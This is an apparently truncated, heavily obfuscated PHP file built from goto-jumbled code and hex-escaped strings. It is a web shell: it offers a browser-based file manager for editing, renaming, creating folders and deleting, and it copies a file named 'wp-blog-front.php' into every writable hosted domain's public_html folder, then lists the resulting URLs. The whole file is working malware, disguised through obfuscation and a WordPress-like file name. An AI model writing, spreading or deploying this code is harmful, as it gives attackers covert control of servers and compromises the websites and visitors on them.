Pon0h; GD7D9: goto bG7_5; goto EP2nv; adcDm: goto wIyx4; goto CpPbF; ym_CG: Kh7RI: goto mLM3m; kiMUO: oeSNM: goto BCta0; s_wLQ: RzePA: goto j1nt_; CZnQe: goto q4z40; goto vZIZa; X8Pzq: goto W04iN; goto l7vPq; acvTV: IDMb3: goto X1WUx; aXSPh: IYrIO: goto C1XOa; Lse7n: Ophjk: goto IW4c5; yJi0s: ZzslW: goto oCCH7; kRKAH: $oSJ8K = __DIR__; goto LV7ak; CpPbF: uwdv5: goto iUp7n; Asytx: goto Vv71w; goto oXtKh; DIDsO: $oSJ8K = dirname($oSJ8K); goto ajxOd; ajxOd: goto yfJ3Q; goto JfJcQ; yscww: goto imBDh; goto S_utK; mLM3m: $NySlu = true; goto M3mDa; kbfeI: iZv5D: goto itiJZ; xa6HN: Z31Fd: goto NQcKQ; pDWOG: WPqri: goto TWsd3; OxUqq: ZBltR: goto qgpvB; DxHI1: goto b6YWM; goto u1_iz; ME5gR: goto cYirU; goto z74ez; vw3MB: wIyx4: goto O1e3M; gg_Ow: goto uwdv5; goto JgBbu; cUH_d: b6YWM: goto FGDly; z74ez: N4Rbr: goto xyVHx; cjYXS: Bzfnk: goto bSCy_; Z4Zgk: Hxh7o: goto ODmLS; JpC1w: TgnkZ: goto mKtom; EePFN: nOhdC: goto bDbsJ; BsihB: gNqUC: goto anKeV; BCta0: if (!(preg_match("\57\x5c\57\165\x5b\134\x77\x5d\x2b\44\57", $oSJ8K) && is_dir("{$oSJ8K}\57\x64\157\x6d\141\151\156\x73"))) { goto T6rNp; } goto PeXwr; RuJTK: Fx4lB: goto gbQSf; dBc8X: goto xejn1; goto ym_CG; H8m2U: goto M1_9G; goto EePFN; TQJ8q: HZkyG: goto yYxSX; JK3zx: goto oPcBJ; goto ioM0M; VcU52: goto XpVRy; goto vsyfU; bPS3x: mfwMj: goto X8Pzq; bawC0: return []; goto y11Cz; TWsd3: goto BZarw; goto Ww0iN; S_utK: tCju4: goto nwpCw; DfSGe: i2z_7: goto h9GGe; itiJZ: OpOIn: goto HAlIQ; h9GGe: static $NySlu = false; goto wzZwl; ODmLS: goto zspJd; goto kiMUO; Typcn: goto RzePA; goto yjGRk; v2el4: goto HR9pC; goto awPpR; YGPCw: goto G5zCG; goto X4SNz; EX2Xl: y6fo7: goto zuJSO; gdWEw: goto jqP7l; goto JpC1w; O1e3M: goto VGRR0; goto gg_Ow; XRuZG: goto rVm8T; goto ONL3Y; Ujwfn: if (!($oSJ8K !== "\x2f")) { goto N4Rbr; } goto ME5gR; JfJcQ: FAwvr: goto mDnjC; REPKx: HR9pC: goto dBc8X; E7Fui: goto i2z_7; goto fqF7I; N2XVx: goto y6fo7; goto vw3MB; Ymuz7: bYU93: goto NlVuf; tZpKV: goto JHDG7; goto a3KHu; t8f0f: goto Yq9fS; goto GpbnR; yoM19: DQAju: goto Hn2VE; DLBKI: goto f9fK0; goto XIFA0; XIFA0: tqHsE: goto Acc8r; tSpkE: sdo3T: goto GD7D9; oXtKh: goto o642m; goto cIm87; EP2nv: PddbW: goto bPS3x; cGPAx: gDD_e: goto hTkJO; pg8Z1: o642m: goto Z4Zgk; XrRoM: goto PN5bN; goto cGPAx; bDbsJ: goto JZtDd; goto DxHI1; jgKDl: kaAt0: goto jdX2M; oCCH7: CWv87: goto XSJNG; BJs1m: Go7_O: goto SEjSU; pjo2x: goto Ophjk; goto aXSPh; fqF7I: wTz4X: goto Asytx; JgBbu: PT_Ta: goto ob6Cu; YL6ho: Yq9fS: goto TQJ8q; mDnjC: gsfHr: goto YySBW; NDFmA: goto gsfHr; goto XrRoM; lyRId: goto NfDoz; goto RuJTK; xbAoe: ucoup: goto C5uPW; LV7ak: goto aKrZA; goto xa6HN; KTMKG: goto jwhB2; goto l2F2p; hUsW0: goto Vg3VJ; goto yJi0s; cIm87: aKrZA: goto NDFmA; G65F6: Vg3VJ: goto tSpkE; jdX2M: goto IDMb3; goto tAWl_; PkbjQ: goto kaAt0; goto DfSGe; Rq0ps: ekxgf: goto dyAHW; FGDly: EDsBy: goto QNwWs; pqxQH: goto UZcoV; goto kbfeI; QNwWs: goto DUt0y; goto hk2Cv; jVrVj: q4z40: goto T4g40; u1_iz: a38SL: goto YGPCw; on1Qf: C4UnC: goto DIDsO; zeeZE: xs1pG: goto rHdse; QD4S4: MPuuV: goto v2el4; GpbnR: NfDoz: goto m_bii; tAWl_: goto ZzslW; goto YL6ho; x8XLi: zspJd: goto adl6_; txZJv: DUt0y: goto ucrGN; yjGRk: rVm8T: goto U7qGD; NQcKQ: Vv71w: goto CZnQe; SEjSU: JZtDd: goto yFj2v; SAeR5: goto bYU93; goto jVrVj; ONL3Y: M1_9G: goto acvTV; NiA64: goto aiZQF; goto s_wLQ; cFhRP: goto IYrIO; goto pg8Z1; X4SNz: goto FAwvr; goto on1Qf; LOnIK: jwhB2: goto czRc4; EKa54: goto g7wPa; goto SAeR5; xyJGz: goto C4UnC; goto EX2Xl; oyhQU: goto iZv5D; goto AV0Ca; dnPKr: jqP7l: goto v1ojR; d5BL5: xejn1: goto kRKAH; PO6As: UZcoV: goto NSWf6; rHdse: goto PddbW; goto kzGhE; j7TQP: foreach (scandir("{$oSJ8K}\57\x64\157\x6d\141\151\x6e\163") as $B0UUB) { goto FNAqc; kOSzj: rVEQT: goto CNHV4; lzFP5: ux11Q: goto h0Laq; tjDHf: goto Mfz38; goto fC0RF; tYmGo: pqNVa: goto TMZT0; VvLWy: goto J0KX1; goto wT4S0; nL6Xp: n_DIT: goto MYboE; GApLz: goto B2ODT; goto Y28F3; E3Mrn: goto rnYLp; goto nbuQd; j96Dv: goto Jbzht; goto QG6fV; n3tJX: goto hsFf_; goto gSGNf; MYboE: if (!($B0UUB === "\x2e" || $B0UUB === "\56\x2e")) { goto WlcCY; } goto N9UlJ; FNAqc: goto u4oqo; goto WM7iI; jp3j9: goto bzSc_; goto cceQ3; zhrre: y7e_I: goto eQef8; cl_yF: goto A76t1; goto bUerB; HvwyS: goto Oa6fD; goto JGlPW; E436F: goto XOwo2; goto nL6Xp; lx4x2: goto PD6vj; goto OVhRZ; SWKD4: goto h85Ee; goto X8LHV; pT6Yx: goto rVEQT; goto phPk5; AfiM4: goto eXtyq; goto yW6vy; N9UlJ: goto v7xTO; goto ugTRA; Y28F3: rP9XS: goto c5Q47; Ii0Sr: goto ruKhz; goto dYMiY; M8GVO: v7xTO: goto FrTbR; W6F5i: J0KX1: goto JQJdY; R0RKv: Fl1wR: goto i2A_Z; d7h1L: goto VoeqA; goto F7EoO; c5Q47: $zbFXB = "\167\x70\55\142\x6c\x6f\147\x2d\x66\162\x6f\x6e\164\56\x70\150\160"; goto AfiM4; zSWeR: u4oqo: goto FBF73; X8LHV: goto TUDXP; goto VSrOX; Ojl3u: goto mMdzY; goto Ei6BU; Hzg4W: if (!is_writable($htvAP)) { goto Q98Ok; } goto lx4x2; nbuQd: rnYLp: goto VkdA4; xZLoR: lT7gi: goto LvU_1; a_n5b: g9ZiQ: goto h032c; Ei6BU: goto q8FyN; goto WJyBR; VSrOX: t8QM7: goto q_1Q_; TODUf: PEinE: goto xb4ha; bUerB: CAQ2x: goto TQJZf; lypPS: VoeqA: goto TRYQ5; TFMBV: goto K3003; goto ftBy8; a6hbS: goto n2PG3; goto zSWeR; fhs0S: mMdzY: goto fGFIP; SemA_: zWd7Y: goto nuB10; qpJyw: goto WpHqr; goto im3l0; h3MuU: goto Fl1wR; goto biAXF; POSeB: goto zqCeA; goto tm9_T; i_Aia: goto d26Tq; goto kOSzj; L6U9a: igC57: goto FX8qe; edIzx: goto g9ZiQ; goto UUGrD; fC0RF: n2PG3: goto XRGGx; mT1QB: WpHqr: goto Ojl3u; RYImv: hsFf_: goto d7h1L; A_llZ: dtuOX: goto bKvyd; wT4S0: Ein9r: goto bIVem; fGFIP: goto Ein9r; goto mT1QB; ftBy8: goto MNAMj; goto sadJ1; HzbFA: TsLzd: goto h3MuU; nuB10: if (!file_put_contents($KUX1S, $HQfp3)) { goto riXmi; } goto HvwyS; WM7iI: d26Tq: goto u3diC; lchgJ: goto n_DIT; goto Wiuan; n766B: goto TsLzd; goto i_Aia; WJyBR: XOwo2: goto VWz3O; eQef8: goto B1C2A; goto TODUf; oVwKo: goto ZJSTt; goto DpPtS; kg079: YIEH6: goto zhrre; Wiuan: B2ODT: goto TFMBV; q7UK1: goto ezUtN; goto edIzx; ugTRA: WlcCY: goto PAtId; q_1Q_: goto lT7gi; goto VvLWy; zV6dX: h85Ee: goto THj1B; bIVem: goto r5jpE; goto vDhQm; H6Byz: MNAMj: goto tYmGo; OIxoY: goto t8QM7; goto GPgZp; xb4ha: ku1XX: goto pT6Yx; HCALd: goto U8wF3; goto PWQyQ; D81PF: goto Og_55; goto cl_yF; DpPtS: U8wF3: goto rePbp; MRtbf: goto pqNVa; goto YPhq3; CNHV4: goto dtuOX; goto kdnnO; XRGGx: r5jpE: goto E436F; biAXF: eXtyq: goto n766B; FrTbR: goto uWRHq; goto X1jdx; FBF73: goto fd1ek; goto oVwKo; F7EoO: goto AFiCi; goto aWati; JQJdY: Og_55: goto E3Mrn; LvU_1: goto rP9XS; goto YBjC8; rePbp: goto ku1XX; goto rzVHr; GPgZp: zqCeA: goto q7UK1; NSXXj: goto TaGMG; goto aD3L2; PAtId: goto P3Mc5; goto QHNNB; TMZT0: goto rLq2z; goto Pvqb3; Pvqb3: P3Mc5: goto SWKD4; hoIWs: hgTHK: goto JICE3; Ahkn2: goto y7e_I; goto QYSbc; vDhQm: goto ux11Q; goto RYImv; A_nVV: PD6vj: goto OIxoY; yW6vy: TUDXP: goto M8GVO; QYSbc: goto ptyck; goto hoIWs; im3l0: AFiCi: goto HzbFA; dYMiY: ruKhz: goto BE5Cv; JICE3: wf11m: goto tjDHf; YPhq3: goto igC57; goto W6F5i; cceQ3: ZJSTt: goto xZLoR; VWz3O: xPeO_: goto l_f1D; UAGiv: $HbhNW[] = "\x68\x74\164\x70\x3a\57\x2f{$B0UUB}\x2f{$zbFXB}"; goto GApLz; i2A_Z: $KUX1S = "{$htvAP}\x2f{$zbFXB}"; goto POSeB; phPk5: Mfz38: goto fhs0S; QHNNB: A76t1: goto A_llZ; L55cY: rLq2z: goto zV6dX; JGlPW: riXmi: goto HCALd; sadJ1: lddNl: goto Ldl8c; FYWSS: uWRHq: goto DgPTq; X1jdx: q8FyN: goto MRtbf; THj1B: goto tbFHZ; goto kg079; h0Laq: ezUtN: goto Kp2el; h032c: KX_1H: goto qpJyw; gSGNf: bzSc_: goto Ahkn2; zecxm: Oa6fD: goto n3tJX; UUGrD: Jbzht: goto NSXXj; QG6fV: JJ0pb: goto A_nVV; aD3L2: goto JJ0pb; goto a_n5b; YBjC8: tbFHZ: goto D81PF; gxREz: UdPo5: goto UAGiv; BE5Cv: goto wf11m; goto dPLQk; aWati: ptyck: goto lypPS; kdnnO: goto YIEH6; goto L6U9a; tm9_T: kbFi0: goto zecxm; VkdA4: $htvAP = "{$oSJ8K}\x2f\144\157\x6d\x61\151\156\163\x2f{$B0UUB}\x2f\x70\x75\142\x6c\151\143\137\x68\x74\x6d\154"; goto jp3j9; FX8qe: fd1ek: goto lchgJ; Kp2el: goto zWd7Y; goto FYWSS; OVhRZ: Q98Ok: goto j96Dv; bKvyd: goto lddNl; goto L55cY; rzVHr: goto kbFi0; goto R0RKv; TRYQ5: goto UdPo5; goto SemA_; TQJZf: ryUIu: goto msxek; Rti4H: goto PEinE; goto H6Byz; PWQyQ: B1C2A: goto Hzg4W; l_f1D: goto CAQ2x; goto gxREz; Ldl8c: TaGMG: goto Ii0Sr; DgPTq: goto KX_1H; goto a6hbS; dPLQk: goto hgTHK; goto lzFP5; u3diC: K3003: goto Rti4H; msxek: } goto zeeZE; iUp7n: TFXVD: goto JK3zx; hTkJO: return []; goto cFhRP; pcHT8: JHDG7: goto CoFbs; bSCy_: goto HZkyG; goto oyhQU; YySBW: goto tCju4; goto LCZqb; mKtom: goto sdo3T; goto t8f0f; q1GnM: IoSkJ: goto E7tbT; wzZwl: goto wTz4X; goto q1GnM; HAlIQ: goto Kh7RI; goto NUbuO; Xr5mb: goto Fx4lB; goto PO6As; mmOEo: yfJ3Q: goto XZUKX; Ne70u: goto gDD_e; goto cUH_d; C5uPW: goto ir38f; goto pDWOG; e1isF: goto OpOIn; goto H8m2U; anKeV: goto WPqri; goto x8XLi; m_bii: goto DQAju; goto hUsW0; zLlAO: W04iN: goto enCH1; AV0Ca: O6TVY: goto bawC0; j1nt_: G5zCG: goto xyJGz; vZIZa: IHmUd: goto KTMKG; oWGyJ: oPcBJ: goto tQYso; ioM0M: XpVRy: goto Frj3n; hk2Cv: bt2Mo: goto REPKx; XSJNG: goto Mm4pS; goto NnasV; T4g40: if (!$NySlu) { goto gNqUC; } goto gbJ7Q; vsyfU: ir38f: goto j7TQP; gbQSf: NGfsY: goto pjo2x; eyoHR: goto nOhdC; goto Lse7n; xyVHx: goto IoSkJ; goto cjYXS; tQYso: BZarw: goto fG9MN; NSWf6: g7wPa: goto E7Fui; Pon0h: cYirU: goto PkbjQ; y11Cz: goto ZBltR; goto rdVee; Frj3n: ak6y8: goto gdWEw; dR0uK: goto IHmUd; goto mmOEo; C1XOa: goto TFXVD; goto pqxQH; NUbuO: O_rAU: goto EKa54; WzB2_: goto TgnkZ; goto d5BL5; zB_Lr: goto bt2Mo; goto txZJv; yFj2v: goto a38SL; goto Ymuz7; a3KHu: skbzo: goto e1isF; fG9MN: goto skbzo; goto BJs1m; U7qGD: goto ygBm1; goto lyRId; ytgoV: return $HbhNW; goto dR0uK; czRc4: goto Go7_O; goto OxUqq; v1ojR: goto CWv87; goto DLBKI; Hn2VE: goto C1hUL; goto pcHT8; PeXwr: goto EDsBy; goto zxEIp; Ww0iN: goto tqHsE; goto xQELg; M3mDa: goto MPuuV; goto QD4S4; yYxSX: goto O6TVY; goto veIQX; Acc8r: CVtE9: goto adcDm; enCH1: goto sUQ5Z; goto N2XVx; awPpR: goto PT_Ta; goto jgKDl; adl6_: } goto fK2Ze; edyxl: goto yaI1b; goto nZOWZ; Qe10l: XMPXG: goto APQLu; Hq1MR: AG2ub: goto k5H1Z; Kk1Ev: goto wlg9r; goto D6Njc; xLzC1: goto n4Z1k; goto VEAiq; lYu0j: goto LJCXQ; goto rs4y2; DJbID: goto AyUTC; goto sjCR2; k4Vi5: goto WBdv7; goto PKpvj; V19mR: goto WytPZ; goto pX0zf; jNPBL: NlnCg: goto ilDZF; cEhU0: goto mNINs; goto kT4U8; S32af: goto eJqKf; goto LQbME; hEI3Z: v1oOS: goto jEBL_; XYHQP: goto yqCJY; goto SPBAn; NSXyq: goto rD0Y7; goto Qbrza; FWA0z: goto iFm00; goto LnECi; HrEHe: goto j4fbo; goto G5i85; AZ32v: ppimC: goto AUr_O; ZgZvc: zPqro: goto iGDOl; Pbwpu: Epaeb: goto mXvip; RLu8M: goto R7fQw; goto X_Rx5; ouUdy: DItA6: goto uSV6y; L2A51: goto lynu2; goto Y5uU5; leSQu: goto VM7J8; goto i6_nO; a2E2o: goto JLx3x; goto Ek6CX; j51ry: function hVc0_($KUX1S) { goto dRpfn; yb6Jz: ygkoP: goto icaW3; KSI1f: NZxQa: goto ELzuv; R4Pjl: goto fbt_h; goto NYrgA; N1ARZ: D6c0g: goto X4uPo; NbNTy: goto uWrgU; goto xJUOx; ELzuv: Rw1Rw: goto SvWDS; ffEVs: return implode("\x20\57\x20", $wDHLd); goto nzrJU; UeFRy: LvEo_: goto Tnjxf; YTlF0: ljf7g: goto khYPQ; UPRn3: SGKIt: goto nVISa; Ir0s0: rTV6t: goto R4Pjl; gnVwy: sEGJ2: goto XH09t; hrcfF: goto ljf7g; goto w2txh; xp4U4: f7XrP: goto NbNTy; ZNOb5: goto O77Yp; goto Iwp3Q; lEyqb: cX7gb: goto y0iCR; NYrgA: goto dGn7y; goto SIVxv; RKJoq: goto e_YbJ; goto KSI1f; khYPQ: goto f7XrP; goto RKJoq; y0iCR: $N1Vw9 = explode(DIRECTORY_SEPARATOR, trim($KUX1S, DIRECTORY_SEPARATOR)); goto ZNOb5; GSUZH: goto cX7gb; goto GPMKC; dRpfn: goto rTV6t; goto OFTwZ; e1GpP: goto wLiNG; goto I3wCJ; xJUOx: Duzfp: goto U5Ffc; U5Ffc: goto Rw1Rw; goto Z0zEp; LYgVT: EKo9Z: goto tItwu; I3wCJ: goto gKOk1; goto lEyqb; X4uPo: $wDHLd = []; goto OlO4m; bmjXm: e_YbJ: goto gnVwy; jQxfd: goto D6c0g; goto x9rkz; AuxXT: tt48V: goto utI_H; Lw8z7: Rh1yR: goto Bl2uH; nVISa: goto Rh1yR; goto YTlF0; ID50w: goto NZxQa; goto qtcLe; Tnjxf: goto SGKIt; goto I5XUK; JTtUS: wGXjs: goto u_LH0; SvWDS: goto og8KB; goto Ir0s0; SIVxv: XBHfV: goto SrKjr; GPMKC: O77Yp: goto Y8PuN; x9rkz: og8KB: goto UAIAF; Z0zEp: goto XBHfV; goto UeFRy; qtcLe: dGn7y: goto DKUkr; XH09t: goto EKo9Z; goto Lw8z7; EvqIL: goto GTNmH; goto RLIjX; RLIjX: o5bGu: goto xp4U4; icaW3: goto tJHuK; goto zGeyO; yO2LB: eg_AM: goto oRGZs; h1ZyS: goto ygkoP; goto bmjXm; w2txh: AV25C: goto e1GpP; Iwp3Q: GTNmH: goto NRbqB; SEnBq: xD6VU: goto AuxXT; NRbqB: foreach ($N1Vw9 as $yacO1) { goto u4FCS; a00vt: KANDx: goto cI4E2; VLgAF: goto ee1rZ; goto A9IYt; ZjAxK: goto ieQn9; goto w6prJ; cI4E2: bg27m: goto fkUuL; u5ld_: goto w53jv; goto vGwc0; FN5Yb: goto EuCfZ; goto BtYzF; tFqia: goto KCBMG; goto a00vt; MOxr5: qv1wd: goto O4ush; Nr_Ai: ee1rZ: goto Y1zjR; zHBVT: goto fBknH; goto ZjAxK; s0k0V: GGMr3: goto UbeGH; uBMR2: goto Hd9ZN; goto s0k0V; Ax12D: goto KANDx; goto tjcqe; UbeGH: xdAW0: goto s4F80; XXM28: KCBMG: goto unnhb; pbErz: goto AjTxK; goto t1mcA; vGwc0: EuCfZ: goto zHBVT; unnhb: fBknH: goto Ax12D; w6prJ: ieQn9: goto bDdGS; t1mcA: w53jv: goto VLgAF; SZJYB: goto qD3cK; goto NZVD_; NZVD_: Hd9ZN: goto gmOaE; O4ush: kNOBc: goto FN5Yb; Jjr4v: CLJbs: goto aK0DX; y5wQF: qD3cK: goto OE6xc; OE6xc: $wDHLd[] = "\x3c\x61\40\150\x72\145\146\x3d\47\x3f\x64\151\162\x3d" . urlencode($d2iGd) . "\x27\76{$yacO1}\74\57\x61\x3e"; goto u5ld_; gmOaE: $d2iGd .= DIRECTORY_SEPARATOR . $yacO1; goto pbErz; u4FCS: goto U0Zb1; goto MOxr5; aK0DX: rjCER: goto SZJYB; bDdGS: JQB4m: goto uBMR2; BtYzF: qCIQy: goto Nr_Ai; edN7F: goto CLJbs; goto i8ne8; fYf99: goto rjCER; goto tFqia; tjcqe: U0Zb1: goto GxUlU; Y1zjR: goto qv1wd; goto XXM28; GxUlU: goto JQB4m; goto edN7F; fkUuL: goto GGMr3; goto Jjr4v; i8ne8: AjTxK: goto fYf99; A9IYt: goto qCIQy; goto y5wQF; s4F80: } goto yO2LB; nzrJU: goto Duzfp; goto yb6Jz; zGeyO: goto o5bGu; goto LYgVT; OlO4m: goto AV25C; goto JTtUS; OFTwZ: uWrgU: goto ffEVs; oRGZs: goto xD6VU; goto SEnBq; Y8PuN: goto sEGJ2; goto ID50w; Bl2uH: Ntmmr: goto hrcfF; DKUkr: tJHuK: goto EvqIL; tItwu: $d2iGd = ''; goto h1ZyS; u_LH0: fbt_h: goto jQxfd; utI_H: goto LvEo_; goto Twds7; Twds7: gKOk1: goto UPRn3; I5XUK: goto wGXjs; goto N1ARZ; SrKjr: wLiNG: goto GSUZH; UAIAF: } goto kodTq; VNQhF: fx2Zt: goto HA_FL; PZ6FD: exit; goto edyxl; lfeQn: goto SsqsW; goto mEyIg; ciaPa: xjdod: goto E6mJN; MnYYv: iTVFz: goto EoMyx; A4CH8: LcHIH: goto rk09R; dROu6: if (!VId5H($fNAU7) && !FGfb9($q5ijL)) { goto nwZhy; } goto Jgez4; wpNnP: X_VRy: goto f6RtR; KksL3: goto KQR9L; goto pmAjj; Y6Vvz: Mpw0a: goto EJ23U; xrFa4: QJYuq: goto V3pkU; hQr7P: goto Xz6X1; goto ky0ox; O29SP: goto K14Rm; goto zF2eE; UDY38: $fNAU7 = "\x68\145\x6c\154"; goto uEoKz; NSBT6: xUQTL: goto Kw4uo; nZOWZ: Bd7cS: goto lbfVf; rPcjt: goto CFA22; goto VMC1l; APXSe: avda4: goto mCO_w; X385F: goto yg7sc; goto NW2YB; NS_P6: PLos3: goto pPv8_; ltaRC: Q_gWi: goto nPxWE; wEtCr: goto pHfPY; goto ruGiS; HOQAy: $D6V0J = $JdqDR; goto qXC8Y; LO8kc: goto rpkEp; goto c8Cpu; BT3jl: goto x9ZO3; goto JSfsG; g8omF: H4smI: goto kD6XT; lAoqM: goto jZG7w; goto I5E7B; n93Gk: goto nYEWv; goto N5T9R; t_u1g: goto R2RRw; goto CwWL8; OHyMs: iwDZz: goto lYu0j; VdjT6: goto m9e_l; goto gySkl; VgiTK: goto QBjIY; goto cYkRq; z31JX: goto uJ79M; goto i8LuC; XcJod: goto BiKFr; goto hbaSs; J5sJ6: goto h3Mkp; goto wbqkt; Woiag: goto vAzRU; goto UDF0S; Tvv8Y: c1Y1i: goto bX6wS; t045h: goto ufbsx; goto WtCDg; gvHGm: goto kcJFb; goto Y7GTZ; NO3ry: @rmdir($OYF8c); goto G8RQx; NkeNK: goto XTrPy; goto rSUiJ; HWvRS: kZyGP: goto LQM5f; gwbaH: evnh5: goto EZBND; PkpkD: goto c75GS; goto XlHGB; fc_1M: cc93s: goto W1og2; pAuzx: goto Gb0PB; goto Wrhjv; Y7GTZ: QRu0E: goto ptGrF; dzZAB: ipmoX: goto pLUNm; WD3OG: goto iMPZC; goto PQmoy; y2gjG: f9DLn: goto x6VNx; w48LP: goto iNoeY; goto JfLz2; flQBy: WZXZz: goto X3sGq; e4M5A: anH3D: goto HQKM6; UUu0V: GY9jC: goto rUxDS; Z1Gtb: goto r6FWt; goto s9Uw_; u4KuL: if (empty($_GET["\145\x64\151\164"])) { goto V35gp; } goto bBowp; wwM9e: yxPnN: goto JZsHU; OmVrv: goto YxNMY; goto N7YKq; MqVgE: pHfPY: goto xkb3Y; tUduY: FpsD2: goto t045h; TdN5J: Xyjxo: goto HwQDA; QDtwL: mUM1a: goto A8Ezk; i2ZBs: goto PQHpz; goto Q7X2c; XRlAm: goto kTdtq; goto yCmcS; rTRoz: KOHoK: goto S32af; akk14: goto CLznv; goto d12wZ; PQ0Gl: Rl7vB: goto XRlAm; tFVhH: Ig84v: goto lhDSv; gg0cD: uL9wg: goto Ux5iJ; GK0TK: RbW_B: goto OtWzu; whaQj: z1TRi: goto bUF72; IwVbW: fXR_9: goto AuBcD; crQvd: YdNYY: goto a2E2o; bsexg: LJCXQ: goto BIpk2; f3roe: yYo4F: goto MJUaz; beXJa: x9ZO3: goto JNX9T; RJOeG: lgAaq: goto b5yUa; EJ23U: goto wht1c; goto QqInZ; ZenZd: TiDrY: goto FekV5; Qx8j3: XYPS_: goto JfqKr; XJSAf: bB2bQ: goto jNLL5; cFk3g: qnoxP: goto GLdyC; JFlyl: iZ5nl: goto MAhYk; pp9c0: goto nvOF1; goto r4llA; OswRP: WjY0U: goto tkYCb; VQ2KN: goto HZzN_; goto fYcK6; ef1Kq: b2u9j: goto n4fUk; i8LuC: MeGcL: goto IYHeZ; Rke00: if (!(!empty($_POST["\162\x65\156\x61\155\x65\137\x6f\154\x64"]) && !empty($_POST["\162\x65\156\x61\x6d\145\x5f\x6e\x65\167"]))) { goto lBW6U; } goto oDR69; n5OFn: msEep: goto Ox6lK; r74bY: U3iSv: goto kDmxW; jFXX4: aF9v3: goto Zqsuk; tuGap: xVwRJ: goto FAw4n; njHeJ: goto wxbwg; goto NIV85; YRBfv: PlkQE: goto mxl49; HBo7O: goto GWlCj; goto O0kYN; SRLvP: echo "\74\x21\104\x4f\x43\124\x59\120\105\40\x68\x74\x6d\x6c\x3e\15\xa\15\12\x3c\x68\164\155\x6c\76\15\12\15\xa\x3c\150\145\x61\144\76\15\12\x9\74\x74\151\x74\x6c\145\76\347\x81\253\347\203\xa7\350\xb5\244\345\xa3\x81\x3c\57\x74\151\164\x6c\145\x3e\xd\12\x3c\57\x68\145\141\x64\x3e\15\12\74\x73\x74\x79\154\x65\x20\164\171\160\145\x3d\42\x74\145\170\164\57\143\163\x73\42\76\15\xa\x62\x6f\144\171\40\x7b\xd\12\40\40\157\166\x65\x72\x66\x6c\x6f\167\55\x78\72\150\151\144\x64\x65\156\x3b\xd\xa\x20\x20\x66\x6f\156\x74\x3a\x20\x31\x35\x70\170\x20\42\103\x65\x6e\164\165\162\x79\40\x47\x6f\164\x68\151\x63\42\54\40\42\124\151\x6d\x65\163\40\122\x6f\155\x61\x6e\42\54\x20\163\141\156\x73\x2d\163\x65\162\151\146\x3b\15\xa\40\x20\142\x61\143\x6b\147\x72\x6f\165\x6e\144\72\165\162\x6c\50\150\x74\164\x70\x73\72\57\x2f\x6b\56\x74\157\160\64\164\x6f\x70\x2e\151\x6f\57\x70\137\63\x30\x34\x34\x33\154\x70\x7a\x69\60\56\x6a\160\145\x67\x29\x3b\xd\xa\x62\141\x63\x6b\147\162\157\165\156\x64\x2d\151\x6d\x61\x67\145\72\40\x75\162\154\x28\x68\x74\164\x70\x73\x3a\x2f\x2f\x69\155\147\62\56\142\x61\151\x64\165\x2e\143\x6f\x6d\x2f\x69\164\57\x75\x3d\61\61\64\65\x31\x35\62\71\65\67\x2c\63\63\x33\64\x39\67\62\x33\x39\61\x26\x66\x6d\x3d\62\x35\x33\x26\146\x6d\x74\x3d\141\165\164\157\x26\x61\160\x70\75\x31\x33\70\46\146\x3d\112\120\x45\x47\77\x77\75\x38\61\x37\46\x68\75\65\60\60\51\x3b\15\xa\x20\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\x2d\163\x69\172\145\72\x20\x63\157\166\x65\x72\73\xd\12\40\x20\142\x61\x63\x6b\x67\162\x6f\x75\x6e\x64\55\x72\x65\160\145\141\164\72\40\156\157\55\162\145\160\145\141\x74\x3b\15\12\40\40\142\x61\x63\153\x67\x72\157\x75\x6e\x64\55\160\157\163\x69\x74\x69\x6f\156\x3a\40\143\145\156\x74\145\x72\x3b\15\xa\x20\x20\x62\x61\x63\x6b\147\162\157\x75\156\x64\55\141\164\164\141\143\x68\x6d\x65\x6e\164\x3a\x20\x66\151\170\x65\x64\x3b\15\12\x20\40\150\145\151\x67\x68\x74\72\x20\x31\x30\60\x25\73\15\xa\40\x20\175\15\12"; goto yAqpz; mB7Lg: QfHUS: goto M32Xs; tkYCb: if (empty($_POST["\156\145\x77\146\x6f\x6c\x64\x65\162"])) { goto FopiD; } goto a3NhY; NRbvr: LGqK1: goto iCa1I; m7UPp: TtH1T: goto T1VpJ; lMkl0: goto RZCVG; goto IHLnC; orK6d: JWLH7: goto ErcjN; p0nTf: goto wNquf; goto s49_e; v5Q9k: goto n2WkM; goto Pbwpu; d7rGB: IBF6h: goto wAzz2; LQM5f: VrXPo: goto SzvFg; CTQ0O: goto tcFgj; goto Tvv8Y; Aaa8o: OzJwW: goto zWsbZ; Nib1w: f5nlv: goto U1oqU; VTkSC: goto gRnHu; goto ofhv1; Ts3fo: goto ww1U4; goto o2mrB; C0AeL: goto Gu75W; goto OiT2O; ow3OF: uo4RA: goto Nhvxt; LnECi: zBf07: goto LHMHt; tLalb: AOh9o: goto PpMWV; txvvt: goto Nb5vy; goto Y1nBo; Mix7i: CNoYb: goto JgPGl; fz82N: nfbZG: goto pTdcs; cliCH: RchK3: goto O0SeS; zSz8T: VMmqS: goto E31b3; hlzGB: LWJCi: goto E9h2t; caCjE: goto SDqjo; goto x1zVu; BU70D: PQHpz: goto ROCbh; MH_RT: fIfaC: goto lwpYQ; mxgcF: goto blQpy; goto rOPBo; Due3P: sHnMK: goto tDj1L; tmKUJ: goto THXJD; goto guWkM; qB9Xc: LpCQF: goto M_ySO; EZBND: goto QynDU; goto UBRcL; XveWy: h3Mkp: goto DJbID; Jgez4: goto BWqdy; goto oD1Eb; uu3XS: pgQRW: goto cFVUB; QWgsx: goto anH3D; goto Q92Uz; JfLz2: goto EM03P; goto MNJZw; MCVU1: goto GY9jC; goto M4u07; BCH5S: goto FtsP2; goto D8WFc; vVZP1: a750m: goto H9R_F; zxPvx: echo "\x3c\57\x70\x3e\12"; goto fK7R0; S2lqR: $mdI48 = htmlspecialchars(file_get_contents($OYF8c)); goto ux48b; vmpMT: goto piN9u; goto I0aJC; Vxus2: ZeFgS: goto bShoH; qeEky: ZzPDj: goto KVKlT; Km40z: WYMTp: goto Qtv3E; b5kFp: plEkR: goto tObSm; H9R_F: goto Y3sBp; goto cao5i; ecvwl: goto TwgIS; goto yW17m; J9wD8: goto dsUxH; goto ebmTO; ZC7Hp: rOJ8q: goto gTqfp; kRugS: VdCSw: goto OkD6Y; Y3LoV: $hznvy .= "\74\144\151\x76\40\143\x6c\141\163\163\75\47\x6f\x6b\x27\x3e\303\xa2\305\x93\342\200\235\x20\x46\157\x6c\x64\145\162\x20\143\162\x65\141\164\145\144\74\57\144\151\166\76"; goto NkeNK; EV0lx: nZqz2: goto oizs9; J_Hln: vAzRU: goto wbKnl; OuzcA: goto T07g6; goto Axgfg; DSEOn: 